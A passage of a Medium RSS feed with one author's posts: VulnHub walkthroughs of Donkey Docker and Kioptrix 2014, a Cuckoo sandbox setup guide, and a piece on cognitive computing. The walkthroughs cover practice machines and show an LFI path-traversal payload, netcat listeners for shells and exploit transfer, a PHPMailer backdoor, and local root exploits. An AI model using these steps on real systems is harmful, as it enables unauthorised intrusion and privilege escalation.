possible to root through the sql injection also..</p><p>Thanks for reading..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a378cdf4bc8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Donkey Docker Walk thorough]]></title>
            <link>https://medium.com/@sainadhjamalpur/donkey-docker-walk-thorough-8d78111a32ad?source=rss-71be9fc7be88------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d78111a32ad</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Sainadh Jamalpur]]></dc:creator>
            <pubDate>Sat, 27 Jan 2018 12:03:18 GMT</pubDate>
            <atom:updated>2018-01-27T12:03:18.001Z</atom:updated>
            <content:encoded><![CDATA[<p>Donkey docker walkthrough</p><p>Step 1: Fire up nmap</p><p>Here we discovered only two open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*hEsQHcgyACS8UrrNTvzVNQ.png" /></figure><p>Step 2: Let’s start with scan with the nikto tool for any vulnerabilities it may have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*5nFz3K8ThZhaxgo4tVl6oA.png" /></figure><p>Oh.! No we can’t find any usefull information with nikto.</p><p>Step 3: let’s try with the dirb to retrieve if it contains any folders in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*gINjnsY5nAeljYNVFI_D2Q.png" /></figure><p>Yes we found it really cache information which may be used to deface this machine.</p><p>This machine uses the PHP mailer as communication medium</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*YmM_qfkPi4aFatBmhjs6Ww.png" /></figure><p>Step 4: Let’s search for the exploits of the PHP mailer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*DLxiO8at5brYhYzVoKXZvA.png" /></figure><p>Yes we found very powerfull exploits the hunting is begins from here I am using 40974.py exploit I change target url to 192.168.214.132/contact and changed my target ip and port I start listening on attacker machine with the following command nc –lp 1111</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*aj0AGAfmnpl6brZZn4-uXw.png" /></figure><p>Step 5: when I run 192.168.214.132/backdoor.php in browser luckily I got the shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*ed1ciwY5UWhL3BQLMeYTdA.png" /></figure><p>Now let’s get extended shell and see what needs to be done in order to get root shell</p><p><em>$ python -c ‘import pty; pty.spawn(“/bin/bash”)’</em></p><p>After that we found main.sh in / really interesting thing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*YqJ37Tn2-yAAoNr2yElBCA.png" /></figure><p>I do a simple guess that user smith password is password and I successfully logged in as user smith.</p><p>After that I am able to enter into smith home folder and there found a .ssh folder along with the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*HJNt2VJchh65eKzmKho9fQ.png" /></figure><p>HAHAHA we found ssh key for orwell@donkeydocker copy key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*T565O6r2uEgxZ1YO2E8v_g.png" /></figure><p>Into the ssh_key.txt file and fire up command</p><p>Step 6: Ssh –I ssh_key.txt <a href="/service/mailto:orwell@192.168.2.4">orwell@192.168.2.4</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*yu5GBQ5S8T2Ej_QGppQVVw.png" /></figure><p>Cool…! We got root shell But wait here we are not root users fire up command below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*LYfNYOtzo5Jo6NsWvLWB7Q.png" /></figure><p>Privilege Escalation</p><p>I Googled “docker privilege escalation” and found this as the first result:</p><p><a href="https://fosterelli.co/privilege-escalation-via-docker.html">Privilege Escalation via Docker</a></p><p>i run the</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*_bmHMwull8nh5uiPfQ8d4w.png" /></figure><p>we found one docker image lets run the below command to get root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*6bmxsFUfuRCmRnXk1i8guw.png" /></figure><p>YAA… we got the shell…</p><p>Thanks for reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d78111a32ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Build your own Sandbox for Malware Analysis— Cuckoo installation guide]]></title>
            <link>https://medium.com/@sainadhjamalpur/build-your-own-cuckoo-sandbox-installation-guide-3fc44b03a622?source=rss-71be9fc7be88------2</link>
            <guid isPermaLink="false">https://medium.com/p/3fc44b03a622</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[sandbox]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Sainadh Jamalpur]]></dc:creator>
            <pubDate>Thu, 21 Dec 2017 11:28:08 GMT</pubDate>
            <atom:updated>2017-12-23T14:33:01.769Z</atom:updated>
            <content:encoded><![CDATA[<p>Intro is not needed for cuckoo many of us know cuckoo is well known sandbox for malware analysis and because of its open source nature and provided many of features than other malware analysis sandboxes that’s why it is preferred by many of us. now we are jumped to installation section of the cuckoo sandbox. Here I am going to explain installation procedure for cuckoo in Ubuntu as a host and Windows XP as our analysis system.</p><p><strong>INSTALLATION</strong></p><p>Here I am using Ubuntu 16.04 as my host operating system you can download from <a href="http://releases.ubuntu.com/16.04/">here</a></p><p>As already said I have been using windows xp as my analysis system you can use download Windows XP from <a href="https://npackd.appspot.com/p/xp-ie6-virtualbox/2014.10.27">here</a></p><p>Let’s start with update our Ubuntu system by entering the below command in terminal press ctrl + T for open terminal</p><blockquote>sudo apt-get update</blockquote><p>Install python and other required libraries so that the cuckoo will able to communicate from host to guest system let’s type below commands in terminal and press enter</p><p>sudo apt-get install python python-pip python-dev libffi-dev libssl-dev</p><p>sudo apt-get install python-virtualenv python-setuptools</p><p>sudo apt-get install libjpeg-dev zlib1g-dev swig</p><p>sudo apt-get install git mongodb libffi-dev build-essential python-django python python-dev python-pip python-pil python-sqlalchemy python-bson python-dpkt python-jinja2 python-magic python-pymongo python-gridfs python-libvirt python-bottle python-pefile python-chardet tcpdump -y</p><p><strong>Configure the TCPDUMP</strong></p><p>Tcpdump requires root privileges, but since you don’t want Cuckoo to run as root you’ll have to set specific Linux capabilities to the binary:</p><pre>$ sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump</pre><p>Verify the results of the last command:</p><pre>$ getcap /usr/sbin/tcpdump</pre><pre>/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip</pre><p><strong>Installation of YARA</strong></p><pre>sudo apt-get install autoconf libtool libjansson-dev libmagic-dev libssl-dev -y</pre><pre>$ wget https://github.com/plusvic/yara/archive/v3.4.0.tar.gz -O yara-3.4.0.tar.gz</pre><pre>$ sudo tar -zxf yara-3.4.0.tar.gz</pre><pre>$ cd yara-3.4.0</pre><pre>$ sudo ./bootstrap.sh</pre><pre>$ sudo ./configure --with-crypto --enable-cuckoo --enable-magic</pre><pre>$ sudo make</pre><pre>$ sudo make install</pre><p>To build and install the yara-python extension:</p><pre>cd yara-python</pre><pre>$ sudo python setup.py build</pre><pre>$ sudo python setup.py install</pre><h4>Installing Pydeep</h4><h4>Pydeep is depends on ssdeep so we first install it</h4><pre>Pydeep depewget http://sourceforge.net/projects/ssdeep/files/ssdeep-2.13/ssdeep-2.13.tar.gz/download -O ssdeep-2.13.tar.gz</pre><pre>$ tar -zxf ssdeep-2.13.tar.gz</pre><pre>$ cd ssdeep-2.13</pre><pre>$ sudo ./configure</pre><pre>$sudo make</pre><pre>$ sudo make install</pre><p>If you want to validate the YARA and ssdeep just type</p><p>Ssdeep -v &amp;&amp; yara -v</p><p><strong>Now we can install Pydeep</strong></p><pre>pip install pydeep</pre><p>Validate that the package is installed:</p><pre>pip show pydeep</pre><pre>Name: pydeep</pre><pre>Version: 0.2</pre><pre>Location: /usr/local/lib/python2.7/dist-packages</pre><pre>Requires:</pre><h4>Installing Volatility</h4><pre>Volatility is an optional tool to do forensic analysis on memory dumps. In combination with Cuckoo, it can automatically provide additional visibility into deep modifications in the operating system as well as detect the presence of rootkit technology that escaped the monitoring domain of Cuckoo’s analyzer. As it is stated that it is optional but it is recommended for detecting the presence of rootkits.</pre><pre>$pip install openpyxl</pre><pre>$ pip install ujson</pre><pre>$ pip install pycrypto</pre><pre>$ pip install distorm3</pre><pre>$ pip install pytz</pre><pre>To continue install of the volatility type below commands</pre><pre>git clone <a href="https://github.com/volatilityfoundation/volatility.git">https://github.com/volatilityfoundation/volatility.git</a></pre><pre>$ cd volatility</pre><pre>$ python setup.py build</pre><pre>$ python setup.py install</pre><p><strong>Install cuckoo</strong></p><pre>Go to <a href="https://cuckoosandbox.org/download">https://cuckoosandbox.org/download</a></pre><pre>$sudo pip install -U cuckoo</pre><h4>Installing VirtualBox</h4><pre>$ sudo apt-get install vitualbox</pre><h4>Creating a Virtual Machine</h4><pre>As I am stated you can download xp or windows 7 after downloading it open virtualbox by typing the below command</pre><pre>Sudo virtualbox</pre><pre>Then create a new virtual machine according to your specifications after installing it just type the below commands in Ubuntu</pre><pre>$sudo vboxmanage hostonlyif create</pre><pre>$sudo vboxmanage modifyvm &quot;windowsxp&quot; --nic1 hostonly</pre><pre>$sudo vboxmanage modifyvm &quot;windowsxp&quot; --hostonlyadapter1 vboxnet0</pre><pre>Note: Replace windowsxp name with your vm machine name</pre><pre>Create a share folder in vbox for transferring cuckoo agent to the xp or windows 7 machine and give the path to the cuckoo folder</pre><pre>We used a <strong>host-only adapter</strong> for the guest VM in order to isolate it from the rest of the network. However we are going to need internet connectivity from the VM for the analysis to work. We can achieve this by adding the following rules to the iptables. Just type in Ubuntu</pre><pre>sudo iptables -A FORWARD -o eth0 -i vboxnet0 -s 192.168.56.0/24 -m conntrack --ctstate NEW -j ACCEPT</pre><pre>$ sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT</pre><pre>$ sudo iptables -A POSTROUTING -t nat -j MASQUERADE</pre><pre>$ sudo sysctl -w net.ipv4.ip_forward=1</pre><p><strong>Configure the Guest Os</strong></p><pre>Configure the network in the guest machine</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*0s_E-arqkWcR62iA2q7i4Q.png" /></figure><pre>Note: Don’t forget to turn of firewall and automatic updates</pre><pre>Download and install virtualbox guest editions in xp machine</pre><pre>After that download and install the following before we are going to work with cuckoo</pre><pre>Python 2.7<a href="https://www.python.org/downloads/release/python-2711/"> https://www.python.org/downloads/release/python-2711/</a></pre><pre>· Python Imaging Library for windows <a href="http://effbot.org/downloads/PIL-1.1.7.win32-py2.7.exe">http://effbot.org/downloads/PIL-1.1.7.win32-py2.7.exe</a></pre><pre>Last step is installing the Cuckoo Agent which runs an XMLRPC server that is listening for connections.</pre><pre>Mount the share from windows. Then move the file <strong>agent.py</strong> to <strong>C:Documents and SettingsAll UsersStart MenuProgramsStartup</strong>. That way the agent will be automatically started once the VM is powered on.</pre><p><strong>Taking snapshot</strong></p><p>we should take the snapshot. It is very important to take the snapshot with the guest VM powered on with agent running otherwise cuckoo will not be able to perform the analysis.</p><h4>Configure the cuckoo</h4><p>Go to the cuckoo folder looking like .cuckoo in your home folder in Ubuntu system. if you not find then press ctrl+h in home folder then you will be see .cuckoo folder open that folder and conf folder you should find various configuration files that need to be configure before working with cuckoo</p><h4>Open cuckoo.conf</h4><pre>machinery = virtualbox</pre><pre>[resultserver]</pre><pre>ip = 192.168.56.1 #This is the IP address of the host</pre><pre>port = 2042 #leave default unless you have services running</pre><p><strong>auxiliary.conf</strong></p><pre>[sniffer]</pre><pre># Enable or disable the use of an external sniffer (tcpdump) [yes/no].</pre><pre>enabled = yes</pre><pre># Specify the path to your local installation of tcpdump. Make sure this</pre><pre># path is correct.</pre><pre># You can check this using the command: whereis tcpdump</pre><pre>tcpdump = /usr/sbin/tcpdump</pre><pre># Specify the network interface name on which tcpdump should monitor the</pre><pre># traffic. Make sure the interface is active.</pre><pre># The ifconfig command will show you the interface name.</pre><pre>interface = vboxnet0</pre><p><strong>virtualbox.conf</strong></p><pre>machines = windowsxp</pre><pre>[windowsxp]</pre><pre>label = windowsxp</pre><pre>platform = windows</pre><pre>ip = 192.168.56.10 # IP address of the guest</pre><pre>snapshot = snapshot1 # name of snapshot</pre><p><strong>reporting.conf</strong></p><pre>[mongodb]</pre><pre>enabled = yes</pre><p><strong>Final step</strong></p><pre><strong>Open virtualbox run the following command</strong></pre><pre><strong>Sudo virtualbox</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*B-qlbMiMpEMtuLTnakJcCA.png" /></figure><pre><strong>And press the start machine</strong></pre><pre><strong>After that you will be seeing that the runserver is running in the xp machine as</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*HJuZvbrzgm37XLZJWdwW5A.png" /></figure><pre><strong>Note: In modern version of the cuckoo just blank window is open don’t worry run server is perfectly running..</strong></pre><p>Next type <strong>cuckoo</strong> in your terminal to start cuckoo</p><p>sudo cuckoo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*huRuI4mdi1WSMpTVA6p5iA.png" /></figure><h4>Start cuckoo webserver by issue the following command</h4><p>sudoo cuckoo web</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*tAKWpCw8qml51IinFt7QJw.png" /></figure><p>Then open you Browser type</p><p>http:localhost:8000/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*s0ENIaD_6FV4VfQgoofMew.png" /></figure><p>Go wild with the live malwares <a href="https://github.com/ytisf/theZoo">https://github.com/ytisf/theZoo</a></p><pre>Thanks for reading..</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3fc44b03a622" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix machine Walkthrough]]></title>
            <link>https://medium.com/@sainadhjamalpur/kioptrix-machine-walkthrough-58fed166f21b?source=rss-71be9fc7be88------2</link>
            <guid isPermaLink="false">https://medium.com/p/58fed166f21b</guid>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Sainadh Jamalpur]]></dc:creator>
            <pubDate>Tue, 10 Oct 2017 02:27:45 GMT</pubDate>
            <atom:updated>2017-10-10T02:27:45.588Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi guys today i’m going to show how i solved kioptrix 2014 machine challenge i am going to share my experience with you.</p><p>let’s start with Finding the ip address of the target machine(Kioptrix) so i run</p><p><strong>netdiscover –r 192.168.2.5(kali linux ip)/24</strong></p><p><strong>Output</strong></p><p>6 Captured ARP Req/Rep packets, from 3 hosts.</p><p>IP At MAC Address Count Len MAC Vendor / Hostname</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>192.168.2.1 00:17:7c:4d:41:32 1 60 Unknown vendor</p><p>192.168.2.4 74:df:bf:7f:97:41 2 120 Liteon Technology Corporatio</p><p><strong>192.168.2.6 00:0c:29:40:46:bf 3 180 Unknown vendor</strong></p><p><strong>Do nmap if any ports are open with this target</strong></p><p><strong>nmap –sV 192.168.2.6</strong></p><p><strong>Output</strong></p><p>PORT STATE SERVICE VERSION</p><p>22/tcp closed ssh</p><p>80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)</p><p>8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)</p><p><strong>We have discover open ports after scanning with nmap</strong></p><p>80/tcp open</p><p>22/tcp closed ssh</p><p>8080/tcp open</p><p><strong>I see source code of index.html file</strong></p><p>&lt;html&gt;</p><p>&lt;head&gt;</p><p>&lt;! —</p><p>&lt;META HTTP-EQUIV=”refresh” CONTENT=”5;URL=pChart2.1.3/index.php”&gt;</p><p>→</p><p>&lt;/head&gt;</p><p>&lt;body&gt;</p><p>&lt;h1&gt;It works!&lt;/h1&gt;</p><p>&lt;/body&gt;</p><p>&lt;/html&gt;</p><p><strong>Note: pChart2.1.3/index.php (Interesting part)</strong></p><p>1.http://192.168.2.7/pChart2.1.3/index.php</p><p><strong>Local File Inclusion:</strong></p><p>/pChart2.1.3/examples/index.php?Action=View&amp;Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf</p><p><strong>Log files:</strong></p><p>ErrorLog “/var/log/httpd-error.log”</p><p>CustomLog “/var/log/httpd-access.log”</p><p>SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser</p><p>&lt;VirtualHost *:8080&gt;</p><p>DocumentRoot /usr/local/www/apache22/data2</p><p>&lt;Directory “/usr/local/www/apache22/data2”&gt;</p><p>Options Indexes FollowSymLinks</p><p>AllowOverride All</p><p>Order allow,deny</p><p>Allow from env=Mozilla4_browser</p><p>&lt;/Directory&gt;</p><p><strong>i used the tamper data addon in firefox to Changed User agent to Mozilla/4.0 Mozilla4_browser</strong></p><p>i searched for phptax exploits luckily i fond RCE the race is begins from here :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*iEOhybDAoBCl_lwyYQmEWA.png" /></figure><p>Succsfully access shell on target</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*93wVYgYXqA1jPG1BKW-ppg.png" /></figure><p>But here i’m not the <strong>root</strong> let’s do search for the privilege escalation</p><p><strong>Privilege escalation exploit</strong></p><p>this target is FreeBSD 9.0 and i found exploit here</p><p><a href="http://www.exploit-db.com/exploits/28718/">http://www.exploit-db.com/exploits/28718/</a></p><p>i download the file from above website</p><p><strong>Transferring the spl0it to kioptrix machine from kali machine</strong></p><p>Nc –lvp 1337 &lt; 28718.c</p><p><strong>Kioptrix Machine</strong></p><p>$ nc -nv 192.168.1.88 1337 &gt;r00t.c</p><p><strong>Note: </strong>Terminate the connection once established and successed</p><p><strong>After 28178.c file is in kioptrix machine check with ls command do the following</strong></p><p>gcc r00t.c</p><p><strong>W00t</strong></p><p>U get a.out file after compiling then run it as</p><p>./a.out</p><p>Cool finally we become root user task is completed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*vMsmdeNc7_Q7Vml-_bN3IQ.png" /></figure><p>Thanks for reading this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58fed166f21b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cognitive computing technology new era]]></title>
            <link>https://medium.com/@sainadhjamalpur/cognitive-computing-technology-new-era-8b66b3a40fe9?source=rss-71be9fc7be88------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b66b3a40fe9</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Sainadh Jamalpur]]></dc:creator>
            <pubDate>Tue, 05 Sep 2017 14:28:30 GMT</pubDate>
            <atom:updated>2017-09-05T14:28:30.434Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*7doKenQdVnXuMxIRq2uxQg.jpeg" /></figure><p><strong>Cognitive computing</strong> (<strong>CC</strong>) describes technology platforms that, broadly speaking, are based on the scientific disciplines of artificial intelligence and signal processing. These platforms encompass machine learning, reasoning, natural language processing, speech recognition and vision (object recognition), human–computer interaction, dialog and narrative generation, among other technologies.</p><p>Cognitive computing simply means teaching computers how to think and process information like humans. One of the key applications of cognitive computing is natural language. Again, it’s a business decision — being able to process natural language without any human intervention is a huge problem today. As computers get smarter, they will take more and more decisions in the enterprise world, all based on natural or unstructured inputs. In our day to day lives as well natural language interaction with our machines will become the pervasive interface. With Droid, Siri, Cortana, etc. the building blocks are already in place.</p><p>Still, natural language is only one application for cognitive computing. Advanced cognitive systems are already being developed that relate with vision, speech, etc. Cognitive computing could also be a great tool to solve the traditional big data problems. where data size results in prohibitive compute cost or latency; or where underlying data is too dynamic; or when structured data is only one piece of a larger puzzle.</p><p><strong>Cognitive computing vs traditional big data technologies</strong></p><ul><li><strong>Scalability:</strong> Cognitive computing is all about forming hypotheses, proving or disproving them, and learning from them to form new hypotheses — essentially how humans think. Cognitive systems have memory, they have the ability to second guess themselves, and they are designed to go back and forth for finding the right answers. It means they can come up with equally rigorous insights without having to brute force their way through entire databases. They make fewer redundant calculations, a hallmark of scalability.</li><li><strong>Dynamism:</strong> The same capabilities give cognitive computers a lot of flexibility in ingestion and processing. If, for example, a system is processing some data batches, and a new variable shows up in a batch, cognitive computers will not skip a beat. They will automatically change models to include the new variables. For traditional technologies models may have to be rewritten and the performance will suffer by that much. This also holds true for situations where the content itself keeps evolving.</li><li><strong>Natural Interaction:</strong> Given that natural language is a prominent application in any case, pulling in natural language capabilities makes cognitive computing systems very powerful. For example, these systems can output their insights directly in business language. More importantly, these systems can extract information from natural language or unstructured text. This increases their applicability and the time taken to prepare data for advanced analyses.</li></ul><p><strong>Real world examples</strong></p><ul><li>Speech recognition</li><li>Sentiment analysis</li><li>Face detection</li><li>Risk Assessment</li><li>Fraud Detection</li><li>Behavioral Recommendations</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b66b3a40fe9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>